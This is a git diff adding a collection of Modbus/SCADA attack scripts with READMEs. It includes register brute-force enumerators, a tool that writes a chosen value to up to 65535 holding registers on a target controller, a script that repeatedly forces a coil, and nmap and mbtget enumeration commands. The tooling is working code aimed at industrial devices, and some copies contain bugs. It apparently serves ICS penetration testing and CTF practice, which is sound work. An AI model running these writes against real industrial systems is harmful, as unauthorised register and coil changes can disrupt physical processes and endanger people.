Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 